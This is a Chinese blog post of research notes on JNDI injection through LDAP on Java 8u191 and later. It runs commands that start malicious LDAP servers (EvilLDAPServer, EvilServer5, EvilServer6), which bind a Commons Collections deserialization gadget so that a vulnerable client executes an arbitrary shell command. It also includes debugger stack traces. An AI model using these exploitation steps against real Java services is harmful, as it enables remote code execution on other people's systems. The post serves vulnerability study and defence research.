8u191之后的JNDI注入(LDAP)

「声明: 文中涉及到的相关漏洞均为官方已经公开并修复的漏洞,涉及到的安全技术也仅用于企业安全建设和安全对抗研究。本文仅限业内技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。」

前言

本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简单点说,利用”javaSerializedData”属性,参[44]。

KINGX的方案是自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用标准LDAP服务,无需直接操作”javaSerializedData”属性,估计之前没人这么干过。

简版LDAP Server

Simple all-in-one LDAP server (wrapped ApacheDS)

https://github.com/kwart/ldap-server

$ vi jndi.ldif

这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

8u191之后的JNDI注入(LDAP)

参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要求。

参[74],后面的PoC用到了如下库:

unboundid-ldapsdk-3.1.1.jar
commons-collections-3.1.jar

0) VulnerableClient.java

这是受漏洞影响的JNDI客户端。

1) EvilLDAPServer.java

参[45],这就是:

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java

我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。

假设目录结构是:

.
|
+—test1
| EvilLDAPServer.class
| EvilLDAPServer$OperationInterceptor.class
| unboundid-ldapsdk-3.1.1.jar
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:.” \
EvilLDAPServer 192.168.65.23 10388 “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \
VulnerableClient any

2) EvilServer5.java

EvilLDAPServer自己实现一个恶意LDAP服务,直接操作”javaSerializedData”属性。实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后的原理跟EvilLDAPServer一样。

用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于”javaSerializedData”属性中,lookup()则对”javaSerializedData”属性的值进行反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现”javaSerializedData”属性,不需要奇技淫巧。

即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指定”javaSerializedData”属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject()中用rebind()第二形参的序列化数据覆盖之。

不过,神奇的是,我碰上过这个错误提示:

More than one value has been provided for the single-valued attribute: javaSerializedData

动态调试发现有两个”javaSerializedData”属性出现,分别对应rebind()第二、三形参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。

2.0) 测试

假设目录结构是:

.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer5.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

2.1) 调试ctx.rebind()

调试EvilServer5:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer5 cn=any “/bin/touch /tmp/scz_is_here”

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in com.sun.jndi.ldap.Obj.encodeObject
stop at com.sun.jndi.ldap.Obj:173

[1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271
[2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181
[3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45
[4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39
[5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5
[6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62
[7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29
[8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10
[9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7
[10] EvilServer5.main (EvilServer5.java:92), pc = 26

2.1.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.javahttp://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

如果ctx.rebind()碰上如下错误提示:

a) More than one value has been provided for the single-valued attribute: javaSerializedData
b) can only bind Referenceable, Serializable, DirContext

动态调试这个函数:

com.sun.jndi.ldap.Obj.encodeObject()

2.1.2) 相关源码

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

2.2) 调试ctx.lookup()

调试VulnerableClient:

java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005

stop in java.lang.Runtime.exec(java.lang.String[])

[1] java.lang.Runtime.exec (Runtime.java:485), pc = 0
[2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30
[7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12
[8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18
[9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118
[10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12
[11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55
[12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228
[13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method)
[14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100
[15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6
[16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56
[17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24
[18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119
[19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183
[20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401
[21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19
[22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38
[23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52
[24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164
[25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81
[26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26
[27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9
[28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6
[29] VulnerableClient.main (VulnerableClient.java:12), pc = 14

2.2.1) 简化版调用关系

参看:

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java

这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。

3) EvilServer6.java

参[39],Alvaro Munoz在议题中给了点代码片断:

他调用的是:

javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[])

我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心很重,基于他这个片断写了EvilServer6.java。

EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。

假设目录结构是:

.
|
+—test0
| jndi.ldif
| ldap-server.jar
|
+—test1
| EvilServer6.class
| commons-collections-3.1.jar
|
—test2
VulnerableClient.class
commons-collections-3.1.jar

在test0目录执行:

java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif

在test1目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
EvilServer6 cn=any “/bin/touch /tmp/scz_is_here”

在test2目录执行:

java \
-cp “commons-collections-3.1.jar:.” \
-Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \
-Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \
VulnerableClient cn=any

参考资源

[39] A Journey From JNDI LDAP Manipulation To RCE – Alvaro Munoz, Oleksandr Mirosh [2016-08-02]

https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf

[44] LDAP Directories

https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html

(提到javaSerializedData)

[45] 如何绕过高版本JDK的限制进行JNDI注入利用 – KINGX [2019-06-03]

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

[74]

https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/

https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar

发表评论